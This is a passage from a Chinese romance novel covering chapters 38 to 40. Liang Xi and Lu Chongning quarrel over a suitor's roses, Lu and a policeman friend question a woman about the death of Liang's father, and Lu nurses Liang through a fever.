梁喜有点难为情,又不想当着同事的面跟路崇宁理论,把他拽到一旁,只是路崇宁步子沉重,像故意拖着不肯走。
“干嘛扔了?”她问。
“你不说不拿回家吗?不扔垃圾桶扔哪?”
“那是我的花!”
“你同意跟许京平在一起了吗?”
梁喜眉头一皱,“当然没有。”
路崇宁语气软下来,“回头我给你买。”
“不要!”
“不要我的,要他的,那和同意有什么区别?!”
路崇宁忽然抬高的音量让梁喜倒吸一口气,“你大老远跑来跟我吵架的?!”
路崇宁一下蔫了,掏出烟盒,抽出一根叼上,还没等点,被梁喜一把抢过去扔到地上,“我不坐你车,你走吧!”
她转身离开,决绝的样子像一把利剑砍向路崇宁,他忍着刺痛俯身捡起烟,手指一抿,掐断
周靖哲见梁喜一个人回来,抻长脖子往路崇宁所在的方向张望,一脸纳闷,“你哥怎么刚来就走啊?不是来接你的吗?”
“不知道!”
说完梁喜瞥见桌上的橙汁,拿过去想扔,犹豫间最终没下去手
路崇宁,我们之间的纠缠到底要划为哪一类呢?
亲情?没有血缘,没有原生家庭的羁绊,在一起生活的时间只有几年。
爱情?连亲吻都没有,算哪门子爱。
不远不近,不伦不类。
第38章 第三十八章 偷手机的人。
忙了一天, 梁喜又饿又累,本想回家躺着,可莫名其妙被路崇宁气着了, 她改道去找崔影。
晚饭口崔影忙得无暇分身, 梁喜快速吃完一碗面后帮她干活,她想用忙碌赶走脑子里路崇宁的身影, 可不管怎么忙那个男人依然在, 搅得她心神不宁。
七点半, 梁喜摘掉围裙准备撤, 她把围裙递给崔影, 说:“我回家了。”
“白天怎么没来呢?竟挑忙的时候来,我都没时间陪你聊天。”
“我白天在市集摆摊,赚了好几千呢。”
“不愧是我家喜喜, 真厉害,明天可以休息吧?”
“休。”
崔影拍拍手,“正好,现在陪我去车站接位帅哥。”
没等梁喜答应, 崔影返回店里拿车钥匙, 再出来时说:“如果许京平的刺激还不够, 我可以让我弟上。”
“你弟?”
“啊, 我二姨家的小弟, 上大二, 放暑假了。”
暑假,多么久远又让人羡慕的词。
梁喜跟在崔影身后找到车, 先后上去,崔影问她:“这几天和路崇宁进展怎么样?”
“挺好啊,刚吵完架。”
“好端端的, 干嘛吵架?”
崔影主动问了,梁喜这才好意思告状,“他没经过我同意,把许京平送我的玫瑰花扔了。”
还以为什么了不得的事,崔影听完笑笑,“路崇宁吃醋吃得挺明显啊!我就说嘛,他的淡定都是装的,这会儿知道急了。”
“吃什么醋,明明是没礼貌。”
“我要是路崇宁我也扔,看着就来气,不扔留着带回家上供啊!”
梁喜不解,“你怎么胳膊肘往外拐,向着他不向着我呢。”
崔影双手一摊,“我帮理不帮亲。”
见梁喜有点委屈,崔影拍拍她肩膀,“好了好了,我告诉你,路崇宁那小子嘴硬,就得这么刺激才有效果,不过可怜了那位许先生,回头他来化城,你把他带到我这,我请他吃大餐。”
“崔老板真大方。”
车子从胡同开出去,驶向主路,崔影说:“我小弟长得贼帅,喜欢成熟一点的小姐姐,回头你带他玩几天,路崇宁要是不接受熟男刺激,我就让他见识一下小男生有多猛烈。”
梁喜惊着了,“别,我受不了。”
“瞅你那没出息的样。”
崔影指向后座,“你把后边那个化妆包拿过来,里边有粉饼和唇彩,补补妆,一举将我小弟拿下,咱俩亲上加亲。”
梁喜完全不理她,“开你的车吧。”
“有你求我那天。”
从市集所在的黄河北路开回家,下车后路崇宁一路耸拉着脑袋,没什么精气神儿。
打开单元门刚要上楼,信航来电话,说找到了那个叫“刘云”的女人,她今天从外地回化城,七点二十到站,最好在她下火车的时候将人拦住,否则之后再想找不太容易。
路崇宁看时间还早,问信航几点过去,他说现在在外面忙,一会儿结束再联系,说完便挂了。
路崇宁朝楼上看了一眼,他知道梁喜还没回来,在市集闹不愉快后他没马上走,而是躲在一旁,听周靖哲说他们要一起把展品先送回工作室去。
回家也没意思,路崇宁决定直接去火车站等
化城火车站虽然面积不大,但旅客流量不小,站内候车室内还有鸟窝,每年春季都有几只燕子飞进来筑巢,哺育后代,老人们津津乐道说火车站风水好,燕子都来做窝,是个吉祥地。
这种说法没人给出印证,但燕子往来翩飞的情景确实让人身心愉悦。
路崇宁把车开到停车场,然后给信航发信息说他到了,等信航忙完可以直接过来找他。
见左右都没车,路崇宁把车门打开透气,一脚伸出去支着地面,一脚留在车里,打开手机,调出和梁喜的对话框,打了几个字,删掉,再打,再删。
肯定生气了哎,路崇宁有点后悔为什么冲动扔了那些花,可当时那种情况如果再重来一次,他还是会扔。
神思从远处飘回来,路崇宁见手机来了一条信息,突然坐直,本以为是梁喜,可打开看却不是。
“你惹喜喜生气了?”
崔影发的。
路崇宁回复:“她去你那了吗?”
“嗯,帮我干活呢,看着心情不太好。”
路崇宁攥紧手机,眼下他走不开,说什么也是徒劳
没过一会儿信航赶到,手里拎着两份炒饼,坐进车里递给路崇宁一份,“你肯定没吃饭。”
“嗯。”
路崇宁不太想吃,拿着一次性筷子迟迟不动。
“咋了?没精神呢?”
“没事。”
路
崇宁掰开筷子,没吃几口又放下,“你怎么找到刘云的?”
信航笑笑,“我自然有办法。”
他打开手机翻出相册递给路崇宁,“这大姐长得有辨识度,好认。”
路崇宁接过看,确实有辨识度,下巴上有颗痣,很明显的标签。
“喜喜说她那边今天办什么非遗市集,要不是忙,我肯定去溜达一圈,你去了吗?”
路崇宁不想撒谎,“嗯,下午去的,待一会儿就走了。”
“人多吗?”
“还行。”
速度吃完炒饼,信航说:“一会儿堵到刘云,由我来问,那女的肯定是个老手,别被她牵着话题走。”
“好,先礼后兵,你礼,我兵。”
“你兵?”
“谁兵都行,咱俩配合,主要听你的。”
路崇宁完全相信信航,毕竟他很专业。
有信航在旁边,路崇宁没再回崔影信息,也没给梁喜发,两人在车里坐了会儿,估摸时间差不多,下车去接站口等
事情比想象中办得顺利,在这趟列车靠站三分钟后路崇宁便在人群中看见了那个女人,她戴着墨镜,脚踩高跟鞋,巧合的是她穿着和照片里一样的衣服,否则还真叫不准。
信航嘟囔一句,“要不是你个儿高,我肯定第一个发现。”
在找人上面输了一局,他赶紧给自己找补,先一步走到刘云面前,“姐,市里走不?十块。”
刘云抬头,“十块?不都八块吗?”
信航故意“哎呀”一声,“最近涨价了。”
“你可虎不了我,不走拉倒,我打别的车。”
“走走走!来,老弟帮你拎行李。”
信航冲路崇宁使眼色,示意他在后边跟着。
走到停车场,刘云见四下没有出租车,有点起疑,“什么车啊?”
“刘云是吧?”
信航突然严肃下来,一改刚才“司机师傅”的热情度,刘云立马警觉,往后退了一步,“你是谁?”
信航没有亮自己的警官证,而是把路崇宁叫到身边,说:“我俩是梁辰义的侄子,现在以他亲戚的身份问你几件事,你可以不回答,但我会把相关证据交给警察。”
刘云没被信航的话吓到,“老梁是脑出血死的,跟我没关系。”
信航笑了声,“我又没说证据跟我叔有关,你自己身上背着什么事不清楚吗?”
还得是警察,三两句让刘云眼神飘忽,身子不自然地扭捏。
这些肢体语言被信航轻易捕捉,看来有戏,“上车聊还是找个喝东西的地方,你来挑,问到我们想要的,行李马上还你。”
刘云心虚,不敢张扬,又觉得车内空间狭小,万一有什么不测不好跑路,于是说:“去那边冷饮店吧,我不想在外面聊这些事。”
“没问题。”
刘云走在前头,信航和路崇宁紧跟其后,进店点了三杯柠檬水,往角落里一座,进入正题。
信航先问:“你和梁辰义什么关系?”
刘云摘下墨镜,说:“我俩好过,不过我不是真心的,有人给了我一笔钱,让我想办法接近老梁,从他嘴里套话。”
“谁给你的钱?”
刘云面露难色地看了信航一眼,路崇宁把柠檬水推到她面前,“不着急,慢慢说。”
刘云端起杯子喝了一口,“我也不知道,没见过,我们都是电话联系。”
信航嗤笑一声,“姐,你是不是当我小不识数啊!你要没见过,凭什么替他办事?”
“钱啊!他给我钱!”
简简单单一个字,可以为万事做开脱
“套什么话?”
这次换路崇宁问。
“让我打探梁辰义是否在查一个叫“马有原”的人。”
最近这个名字出现频率太高,路崇宁和信航同时转头,相视一眼。
“还没等我打听到老梁就死了。”刘云说到这捂住脸,“呜呜”几声,干打雷不下雨
信航敲敲桌子,“演戏不给钱,别整虚的,说事儿。”
听到“给钱”,刘云痛快放下手,转瞬又恢复刚才的状态,“你能给多少?”
信航被刘云弄得无语,甚至有点想笑,“我刚才的话白说了吗?你不老实交代,我可要把你别的事往上反应了。”
刘云也想试探试探虚实,“那你反应啊,反正把我送进去,你永远别想知道后面发生啥事。”
信航还想说什么被路崇宁拉住,“别跟她耗了,我来。”
路崇宁从兜里掏出一把现金,一百一百,缓慢拨到刘云面前,一共六百块,虽然现在多用手机支付,可路崇宁出国几年都是花现金,习惯了,所以回来后出门也会随身带一些。
“就这么多,可以说了吗?”
信航手指压着钱,在等刘云表态。
“那人说我俩发展太慢,老梁不可能跟我交心,让我去药店买点药,说怕他年纪大,那方面不行,结果还没办事老梁就昏过去了,当时给我吓的呀,怕他有什么万一再牵连我,赶紧跑了!”
路崇宁伏案的手慢慢攥紧
信航有些气愤,“你就没想打120吗?”
“我当时害怕,请你站在我的角度想一想,钱没赚到手,再被人命牵连上,我后半辈子咋办。”
说到这她真哭了,眼泪流出两道,果然涉及到自身利益才有真情实感。
信航见惯了这种场面,不可能等她哭完,赶紧趁热打铁,“我叔的手机是不是你拿的?”
“不不是。”
信航拍下桌子,“你给我想好了再说!”
路崇宁瞄了信航一眼,这句话加上他的语气,路崇宁听了都想交代点什么,只是信航的声音引得服务员侧目,路崇宁赶忙摆摆手,示意没事。
好在刘云被赫住了,她抹干泪,说:“是我拿的,但我声明一点,我没转他的钱,我只想删掉聊天记录,还怕删我自己的会引起怀疑,又随便删了几个其他人,过后我把手机丢到他家附近一个网吧机箱里,第二天我联系那个雇主,他给了我一笔钱,让我去外地躲躲,出去没多久我听说老梁脑出血死了,我不敢马上回来,说到底,我对老梁心里有亏欠。”
聊到这,一直没怎么插话的路崇宁终于开口问她:“马有原的事,一点都没打听到吗?”
“哪有,老梁嘴特别严,很少聊自己的事儿,我就知道他有个闺女,我还见过呢,长得特别水灵,好看。”
“你见过?”
路崇宁和信航同时发问。
“对啊,不过没说几句话,他闺女不喜欢我,我招她干嘛。”
路崇宁暗暗松口气,信航回到正题,“你再好好想想!”
刘云皱眉回想半天,说:“有件事不知道算不算。”
“你说。”
“有次我和老梁跟他开海鲜排档的朋友吃饭,他俩趁我上厕所的时候聊的,我偷听了一嘴,老梁说马有原一四年的时候回过化城,还去老家扫墓了。”
信航:“完了?”
“嗯,他俩见我回来就不说了。”
“今天我俩找你的事不许漏出半个字,就当彼此没见过,否则别怪我不客气。”
刘云默默把柠檬水拿到桌下,点了点头。
后面实在问不出什么,信航只好放刘云离开,她刚要走,忽然被路崇宁叫住。
“你没有过愧疚吗?如果你当时打了电话,说不定梁叔还能救回来。”
该说的都说了,刘云不再假装,她对路崇宁的话不以为然,“生死有命,富贵在天,人都死了,你再怎么骂我也没用,我道歉老梁能活过来吗?”
她还想辩解什么,路崇宁手一挥,“你走吧。”
对于冷血的人,“愧疚”两个字在她眼里相当于道德绑架,所以还是算了。
从冷饮店出来,路崇宁低头
点了根烟,刚想问信航要不要,迎面却看到梁喜。
她不是偶然路过,而是就站在那,像来了很久一样,身旁还站着崔影和一个看起来像大学生的男孩儿。
路崇宁愣住了,还有身后的信航。
“那个”信航胡乱一指,“我单位还有事儿,先走了,小宁,交给你。”
说着一把将路崇宁推过去,他踉跄几步,本来撞不到梁喜,谁知后面的崔影偷偷推了梁喜一把,顺利助攻,让那两人成功抱在一起。
小弟在一旁看傻眼了,还能这样吗?刚下火车就上一课,学到了。
第39章 第三十九章 真心不假。
开车回家路上梁喜一句话没说, 她能憋得住,只是苦了前面开车那位,大气不敢出。
信航借口单位有事直接跑掉, 他预料梁喜会发脾气, 可这回误判了,梁喜并不生气, 她只想打听他俩到底问出了什么。
路崇宁仅用十分钟便开到家, 上楼进屋, 外面已经天黑了, 梁喜把窗帘拉上, 躺椅坐着不舒服,她索性搬了餐桌旁的椅子,路崇宁则坐地上, 双腿折叠并拢,手搭在上面,一副随时就范的模样。
“你俩为什么找刘云?”
“你怎么认识她?”
“我问你还是你问我?”
“你先回答我。”
明明他低她高,梁喜却有一种气场被反压的感觉, 她直视路崇宁, 看了几秒, 起身就走。
“哎!”路崇宁一把拉住她, 梁喜用力甩, 没甩开, 她倔劲上来,不服输, 可路崇宁力气大得超乎她想象,脚下一个不稳便跌坐下去。
“啊!”
梁喜惊叫一声,恍然发现她坐在路崇宁腿上, 双手环抱他的脖颈,因惊慌搂得格外亲密。
这下好了,不倔了。
“现在能说了吗?”
路崇宁身上气息温热,梁喜感觉自己的体温也随着升高,燥热传到脸颊,她撒手,企图推开路崇宁,可推了一下没成功,两人眼神对峙,有种谁也不想输的既视感。
真不知道从哪整来两头一模一样的倔驴
“我说,你放手。”
路崇宁终于泄力,梁喜翻身坐到地上,和他拉开距离,扒拉两下弄乱的头发,说:“过年时候我回家,我爸带那个女人跟我吃过一顿饭,我只知道她叫刘云,其他的一概不知,我也没兴趣问。”
她说完换路崇宁说:“信航一直在帮你找梁叔的手机,所以调了梁叔生前一个月的通话记录,觉得刘云可疑,今天她从外地回来,信航叫我过去一起问问她。”
“然后呢?”梁喜迫不及待。
“梁叔发病前和她在一起,发病时她因为害怕跑了,手机是她拿的,现在找到了,过两天信航会给你送来。”
路崇宁化繁为简,没全告诉。
梁喜听完气愤得攥紧拳头,可理智告诉她,这种情况的见死不救并不能给刘云定罪,她再气愤也没用,只是想到梁辰义发病时无助的画面更加自责,憋红了眼,眼泪还是不可自控地落下。
“我爸这些年一直单着,本来我想,他要找个伴也挺好的,没想到”
路崇宁没看见梁喜的眼泪,却听见了哭腔,他身子往前探,确认梁喜在哭,刚要伸手梁喜却转过去,瘦削的脊骨透过衣服隐约可见。
眼泪滴在地板上,映射梁喜的脸,她双手抱膝,努力缓解心头的悲伤与痛痒。
身后传来路崇宁的声音,“是我不好,我应该早点回来的。”
梁喜抹掉眼泪,深吸一口气,“跟你没关系。”
她起身走回房间,进屋直接倒在床上,白天被阳光晒过的被子有一股让人情绪平静的味道,她的心情也跟着舒缓很多。
路崇宁慢慢走到梁喜房门口,倚着门框看向床上的人,客厅灯光将他的影子拉长,罩在梁喜身上。
“扔了你的花,对不起。”
他诚意道歉,梁喜从被子里抬头,却说:“没事,他还会给我买。”
路崇宁张张嘴,想说的话被生咽回去,抬手把门关上。
嗯?这回不吃醋了?
梁喜“腾”地坐起来,烦闷的情绪从下午蔓延到现在,断断续续。
以前她自觉了解路崇宁,也知道怎么做可以轻易拿捏他,五年时间过去,路崇宁成长速度之快,竟将她远远甩在身后,相比之下她的心思还像小女生阶段
不行,再待下去非憋疯不可,她拿上手机,决定下楼走走。
小区里路灯不多,灯光很暗,在外玩耍的小孩子都回家了,比傍晚时安静许多。
梁喜沿着小路漫无目的地走,清风阵阵吹来,很舒服。
手机“嗡嗡”震动声打扰了梁喜的雅兴,见是许京平打来的,她想了想才接。
“喂。”
“干嘛呢?”
“没事,在小区里散散步。”
“自己吗?”
“嗯。”
梁喜找椅子坐下,旁边一位大爷牵着一只大金毛路过,金毛过来要舔梁喜,给她吓一跳。
“怎么了?”许京平关切地问。
“有只金毛要舔我。”
他笑了声,“可能喜欢漂亮姐姐。”
梁喜没心情和他扯皮,“怎么给我打电话?有事吗?”
“没事,想你了。”
一大段沉默,梁喜不知该回些什么,还是许京平先开口,“听说我送你的花被你哥扔了。”
周靖哲嘴真欠呐!
“不好意思,他”梁喜不知道怎么解释,好像撒谎都没得撒。
“没事,我再给你买,给你送店里,省着拿回家你哥看着心烦。”
忽然梁喜面前出现一个人的身影,挡住了对面路灯光亮。
她抬头,看见了路崇宁。
许京平以为信号不好,“喜喜。”
“啊,我听着呢。”
路崇宁什么也没说,坐到梁喜身边点烟,打火机翻盖的声音精准传到电话那头。
许京平:“晚上吃什么了?”
“在我朋友店里吃的炸酱面。”
“听你说过,开韩餐的朋友。”
“嗯,崔影。”
路崇宁拿烟的手定在半空,过了两秒,他忽然起身离开,来也匆匆,去也匆匆。
就在刚刚,路崇宁猛地意识到梁喜在给许京平介绍她生活圈子里的人,从前她也这样给路崇宁介绍过,情景置换,他觉得刺耳。
梁喜心里的紧张感随着路崇宁离开而消失,后边又跟许京平聊了几分钟才回家。
她进屋的时候屋里只有玄关的灯亮着,路崇宁的运动鞋在地垫一角整齐摆放。
回来了,回来就好
梁喜是在第二天晚上发现不对劲的,白天一整天没看到路崇宁,以为他上班去了,晚上十点多都快睡觉了还没回来,她想打电话问问,又拉不下脸,但发过去的信息一直没回,她有点急了,赶忙给信航打电话。
“你知道路崇宁去哪了吗?”
信航刚从单位加完班出来,走到车边停下,“小宁没告诉你吗?他去省城了,参加日语一级考试,这几天闭关冲刺呢,谁也不联系。”
“在哪个考点?”
“东大。”
“知道了。”
听信航脱口而出的语气,应该没撒谎。
挂断电话,梁喜不自禁走到路崇宁房门口,推开门,看见叠得整齐的被子,桌上空无一物,有种走了不再回来的感觉
梁喜生怕这种感觉成真,她又赶忙打开衣柜,还好,衣服基本都在。
长出一口气,梁喜关上柜门,扭头却发现垃圾桶里有个黑乎乎的东西,走近一看,竟然是那件印着梁喜名字的T恤!
扔了?!
梁喜有点不敢置信,从垃圾桶扯
出来仔细辨认,其实就算不仔细看也知道,她只是不甘心而已。
T恤捏在手里,梁喜缓缓蹲下,眼泪止不住夺眶而出,滴滴落在地板上,她仿佛从眼泪的倒影中看见路崇宁扔掉这件衣服时的决绝,也将他们从前那段感情彻底丢掉了。
他在为新生活忙碌,而梁喜却还停留在过去不肯自拔,到头来伤心的只有她一人
路崇宁走了一周时间,梁喜也和他断联了七天。
周日,梁喜在工作室加班,信航打电话来说晚上要为路崇宁接风洗尘,庆祝他考试结束。
梁喜直接拒绝,并果断挂了电话,一周过去,本以为已经冷静了,可当信航提到路崇宁的名字,眼前立即闪现垃圾桶里被他扔掉的衣服,梁喜难受到呼吸不畅,手中的刻刀都拿不稳。
“喜喜,还不走啊?”
“嗯?”
梁喜以为工作室的人都下班了,没想到是老王,他下午三点多不是走了吗?
“师父,我再练一会儿。”
“我出去吃饭,回来路过,看二楼亮着灯,上来看看。”
梁喜放下刻刀,“跟师娘出去吃大餐啊?”
“不是。”老王走到对面坐下,“和你三叔,还有买咱们黑陶的刘总,一直说要一起吃个饭,刘总和你三叔都忙,这不,才有机会碰上。”
他们大人的人情往份梁喜不便细问,只能聊别的,“不会又吃的铁锅炖吧?”
老王笑笑,“你咋知道,我们三个都好这口,吃得开心。”
“早点回家吧,要不师娘该惦记了。”
“行,那我走了,外面下雨呢,你也早点回去。”
“师父再见。”
等老王下楼,梁喜走到窗边,拉开遮光帘,发现外面的确下雨了,还不小。
夜里九点,雨稍小了些,梁喜锁门离开工作室,顶雨骑车回去,等骑到家身上全湿透了,她心情不好,有意折磨自己,换来的却是湿漉漉的,浸入骨头里的凉意。
开门进屋,家里亮着灯,梁喜本以为路崇宁和信航吃饭去了,没想到竟然在家,她进屋的时候路崇宁正在阳台那边打电话,等路崇宁转身看梁喜,她却在低头换鞋,互相没有只言片语,各忙各的。
钻进洗手间,梁喜把湿衣服扔进洗衣机,赶紧冲个热水澡。
再从洗手间出来时客厅灯已经关了,她把洗好的衣服晾到阳台,关灯睡觉。
不知怎么,梁喜有种突来的预感,路崇宁可能快搬走了。
刚回国时他即便话少,也不像今天这样一言不发,加上扔掉的T恤,让梁喜心里的预感更加强烈
雨从夜里下至凌晨,淅淅沥沥得没完。
被冻醒的时候梁喜睁开眼,外面天刚蒙蒙亮,一切都不清晰,她咳了几声才意识到可能发烧了,都怪那场雨,可要不是顶雨骑车就不会感冒,说到底还是怪她自己。
挣扎着坐起来,梁喜一阵眩晕,紧接着猛咳几声,眼前直冒金星,摸到手机看了眼,四点零七,家里有退烧药吗?不记得了。
梁喜抹了一把额头上的汗珠,到客厅找药。
药箱上次好像是路崇宁放的,有点高,梁喜伸手只碰到一个边,她垫脚又抓了一下,抓是抓到了,只是用力过猛,药箱直接掉下来,差点砸到她。
梁喜一时不敢动,怕再发出什么声音把路崇宁吵醒,静了几秒,她才蹲下身去,把散落的药放回药箱。
卧室门这时打开,路崇宁眯着眼睛出来,连鞋都没穿。
“怎么了?”
“没事。”
梁喜声音很小,但能听出沙哑,路崇宁快走两步到她跟前,看见张开的药箱,问:“哪不舒服?”
“发烧了。”
刚说完,梁喜被他一把抱起,径直抱回卧室床上,“躺好,我去拿药。”
梁喜本来就迷糊,被路崇宁突然这么一弄更迷糊了,咳个没完。
等路崇宁再进来,手里拿了水和药盒,“家里没有温度计,我用手试一下。”
说完把水杯放到床头柜上,他张开手掌摸向梁喜额头,又摸摸自己,“有点烫,你先把感冒药吃了,我下去买体温计。”
“不用了。”
“先吃两粒感冒药。”
借着床头灯的灯光路崇宁打开药盒,挤出两粒,扶起梁喜喂她吃进去。
“好好的怎么感冒了?”
“昨晚顶雨骑车,浇湿了。”
昨晚?路崇宁仔细回忆,梁喜回来的时候他正和刘俊华打电话,隔着玄关空隙看了她一眼,根本没发现她被雨淋湿的衣服
“躺好,我下去买体温计和退烧药。”
梁喜实在没有多余的力气跟路崇宁客套,如果再不吃退烧药说不定直接嘎了
不知道路崇宁来去多久,梁喜迷迷糊糊要睡着的时候被他叫醒,“喜喜,把退烧的吃了再睡。”
梁喜被他扶起来,下意识拽被子,“冷。”
药片塞到嘴边,梁喜张嘴,不像刚才吃的那种胶囊,进嘴便立刻尝到苦涩。
小时候一到冬天,梁喜、路崇宁还有信航,只要有一个孩子感冒,另外两个不出一天也跟着相继发烧,有时甚至那几天都没见过面,大人们说这几个孩子上辈子可能是三胞胎,心意相连。
梁喜吃药最乖,因为梁辰义哄她很有一套,其次是路崇宁,即便他难受到哭也安安静静的,只有信航嚎个没完,尤其打针的时候跟抓猪一样
药吃下去,梁喜又被路崇宁多喂了几口水,这才放她躺下。
“窸窸窣窣”的声音在耳边响起,梁喜眼睛睁开一条缝,“什么?”
“退热贴。”
“小孩儿才用呢。”
梁喜刚说完,只觉额头一凉,紧接着凉意向脑袋各处蔓延,她不禁抖了下。
“你去睡吧,今天还得上班。”
路崇宁有点不放心,嘴上说“嗯”,却没走。
“你再帮我拿个毯子,在衣柜上边,我好冷。”
梁喜没听见衣柜打开的声音,倒听见了脚步声,路崇宁从这屋到那屋,抱着他的被子过来,盖在梁喜身上。
梁喜睁眼刚要说什么,只见路崇宁上床躺到旁边,隔着被子将梁喜抱住。
“这样好点吗?”
梁喜很受用,但嘴上不认,“别传染给你。”
“传吧,药有的是。”
梁喜不怪昨晚那场雨了,反倒有点感激,变脸比翻书还快。
“你考得怎么样?”
“还行。”
“下次再去哪能不能告诉我一声,我找你好久。”
“怕我丢吗?”
梁喜微微睁开眼,望着天光破晓,说:“怕你再也不回来了。”
眼皮沉得睁不开,梁喜不知道自己说的是不是梦话。
就算是,真心不假。
第40章 第四十章 故意叫“哥”
早上路崇宁上班走之前梁喜终于退烧了, 可不到十点又开始烧起来,她不得不再吃一粒布洛芬。
中午休息,路崇宁开车回来给她送砂锅粥, 放下后问了几句, 马不停蹄赶回公司。
下午四点刚过,路崇宁手里拎着两大瓶黄桃罐头又回来了, 身后还跟着唐姨和民叔。
梁喜一天没洗脸, 没什么精神, 唐姨见了心疼得不行, 摸摸梁喜的小脸, 问:“咋搞的?瘦这样呢,好点没?”
“唐姨,民叔, 我没事,昨天让雨浇着了。”
信民:“嗓子哑这样还说没事,让信航一会儿来再给你买点药,他知道哪个好使。”
路崇宁放下罐头, “信航让我给你买的, 他一会儿来。”
梁喜带唐姨到客厅坐, “不用了, 家里好多药呢。”
路崇宁搬来两把椅子, 又拿了矿泉水递给唐姨和民叔, 四人围坐一起聊天,梁喜尽量忍着不咳, 憋得有点难受。
五点钟,信航外带了几个菜和治咳嗽的药过来,进屋看梁喜的眼神和唐姨一模一样, 就差上手摸脸了。
“罐头吃了没?吃完保准今晚就好
了。”
“一会儿吃。”
饭菜很香,可梁喜没食欲,这一天净吃药了,中午的粥也只喝了几口,剩下的在冰箱放着。
吃完饭唐姨和民叔回家,信航赖着不走,说再待一会儿。
路崇宁在房间处理工作,信航在梁喜那屋吃罐头。
“你咋还不走?”梁喜倚床头躺着,拿脚踹信航。
“我来慰问的,着啥急。”
“你别吃我床单上。”
“知道了,大小姐,你那嗓子少说话吧。”
梁喜收回脚,忽然想到什么,问:“你之后又找刘云了吗?”
信航刚才还嘻嘻哈哈,听到“刘云”的名字,把笑收回去,“没找,就目前掌握的情况,能说的她都说了。”
“她为什么接近我爸?”
“哎,黄昏恋嘛。”
“我爸没钱没势,年纪又大了,我一点都看不出她喜欢我爸,和他好一定别有目的。”
信航知道路崇宁跟梁喜说了多少,梁喜没追问路崇宁,因为大概率问不出来,所以才来问自己。
“喜喜,都过去了,梁叔也下葬了,你少操心。”
越隐瞒越有事,梁喜说:“你要不告诉我,等我病好了,我自己去问刘云。”
“咋这么犟呢!”
信航嗓门大,把路崇宁从那屋招过来,“你又惹她了?”
信航一脸无辜,“我没有”
梁喜“咳咳”两声,赶紧喝水往下压,“你先出去,把门关上。”
路崇宁和信航互相使眼色,奈何都没懂,只知道梁喜情绪不好。
“快点!”
路崇宁没出去,而是选择坐下,这让梁喜很被动。
还是信航好攻破,他说:“梁叔年轻时不是民警吗?认识的人多,刘云想从梁叔那打听一个马有原的人,最后啥也没打听到。”
梁喜坐直,“我妈前几天来也跟我说过。”
路崇宁迫不及待,“阿姨说什么?”
“马有原,我妈和他是邻村,年轻时候见过几面。”
和他俩不同,梁喜没什么好隐瞒的,把上次程恩君来两人说的话跟路崇宁还有信航说了一遍。
“阿姨老家在哪?”路崇宁问。
“全喜村一组,马有原在三组,离化城几十公里吧,不过我没去过,我妈十几岁的时候姥爷带全家搬到化城,那时还没我。”
“全喜村三组”
信航对这个村子有印象,前段时间因为一个案子的线索和师父去过一次,依山傍水,很漂亮。
路崇宁不说话了,貌似在思考什么,信航也一样。
梁喜“咳咳”一声,他俩同时抬头,梁喜说:“再有什么事别瞒我,我对我爸的事有知情权。”
说完躺回去钻进被子,“各回各家,我困了。”
“行,我回去了。”
信航起身,路崇宁送他下楼
白天的热浪在夜里逐渐消退,凉快了些,信航和路崇宁手里各拿着一瓶冰可乐,站在街边边喝边聊。
“你想去啊?”信航知道路崇宁身上那股劲,执着,认真。
路崇宁点点头,“看看这周末有没有时间。”
“这回把喜喜带上吧,再瞒着她我可真要挨揍了,你心疼心疼我。”
“行,就当带她出去散心了,那边好像有个水库。”
信航眼里放光,“对,还有山呢!时间充足的话,办完事我带你俩爬山去。”
路崇宁仰头喝掉可乐,把瓶子扔进垃圾桶,“回家吧,电话联系。”
“你提醒喜喜吃药。”
“她比咱俩惜命。”
信航笑笑,上车开走。
楼上,梁喜把剩下三分之一的黄桃罐头盖上盖子放冰箱,想着明天再吃,如果今晚不发烧,明天就正常上班。
梁喜这么想着又咳嗽几声,算了,明早看情况。
路崇宁开门回来,梁喜说:“你被子在我那。”
“嗯。”
凌晨的时候梁喜烧得迷糊,根本不知道路崇宁抱了她多久,但她清楚,要不是这场病,路崇宁不一定什么时候能跟她说话。
路崇宁不是脾气好,而是很会忍耐,苦难教给一个人的东西,潜移默化,如影随形
抱着被子路过梁喜身旁,路崇宁伸手去摸她额头。
“不烧了。”她说。
“和我差不多。”
“你不会发烧吧?”
路崇宁笑笑,“当然没有。”
梁喜跟他身后进他屋里,问:“你怎么提前那么久去考试?”
“在家静不下心。”
我干扰你?
“住哪了?”
“在学校附近找了家宾馆。”
梁喜抱着他被子侧躺,手掌撑头,“怪不得信航说你闭关去了。”
“他接我回来的。”
信航竟然没告诉她?!
“给你加油吗?”
“他正好过去办事,顺便接我,他给你打电话说一起吃饭,你不是拒绝了吗?”
梁喜哑着嗓子替自己辩解,“那会儿我气还没消,谢谢。”
路崇宁忽然拽住梁喜脚腕,双手用力一拽,梁喜只觉倏地一下,视线便和俯身的路崇宁对上。
“干嘛?”
“现在消了吗?”
梁喜有点难为情,扯过被子把头蒙住,拉扯间肩带滑落,胸口的深沟若隐若现。
这些全部落在路崇宁眼里,他倏地站直,转身出去。
“喜喜。”
被子掀开,梁喜坐起来,“嗯?”
“来把晚上药吃了。”
“不说我都忘了。”
梁喜吃完回自己屋,路崇宁终于能冷静冷静
市集卖了几千块钱,梁喜和周靖哲还分别谈到两个客户,这几天客户相继到工作室参观,赶上梁喜生病,客户都被佩姐介绍给周靖哲,并且对梁喜只字不提,等客户私下又联系梁喜的时候她才知道。
虽然心里有点介意,但梁喜不能跟客户讲,而且面上还得说:“我同事给您介绍一样的,再有什么需要找我找他都行。”
许京平从周靖哲口中得知梁喜生病,想到化城探望,被梁喜无情拒绝,她说病好了,要来可以,但梁喜没时间见他,他可以找老王。
虽然无情,但许京平还是来了,只是梁喜没在工作室以外的地方见过他,许京平很有边界感,既没邀请梁喜出去吃饭闲逛,也没去路崇宁打工的地方,他白天待在老王工作室,晚上回酒店,直到梁喜咳嗽好了才走。
他这边坐上去往机场的出租车,老王在屋里看着窗外止不住叹气,把梁喜叫到后院,语重心长劝她:“喜喜啊,京平那孩子真不错,你知道他跟我说啥吗?他说如果你答应和他在一起,他就把那边的黑陶工作室送给你当礼物,你可以继续你的爱好,他还要给你在化城买个房子,想家了随时回来。”
梁喜不为所动:“师父,我有喜欢的人。”
“啊?谈恋爱啦?”
“没有。”她笑得苦涩,“你徒弟单恋。”
“谁家毛小子这么不识数?!”
老王有些愤愤地说:“要不是我儿子谈了个学校里的女朋友,结婚早,我都想把你介绍给他,多漂亮的孩子,又懂事。”
梁喜望着二中空荡的校园,说:“我很早就告诉许京平了,他也知道,所以他现在做什么都是自愿,我拒绝也没用。”
“我之前一直以为你在那拿架,抻着人家,那你要这么说的话我就不劝了,强扭的瓜不甜。”
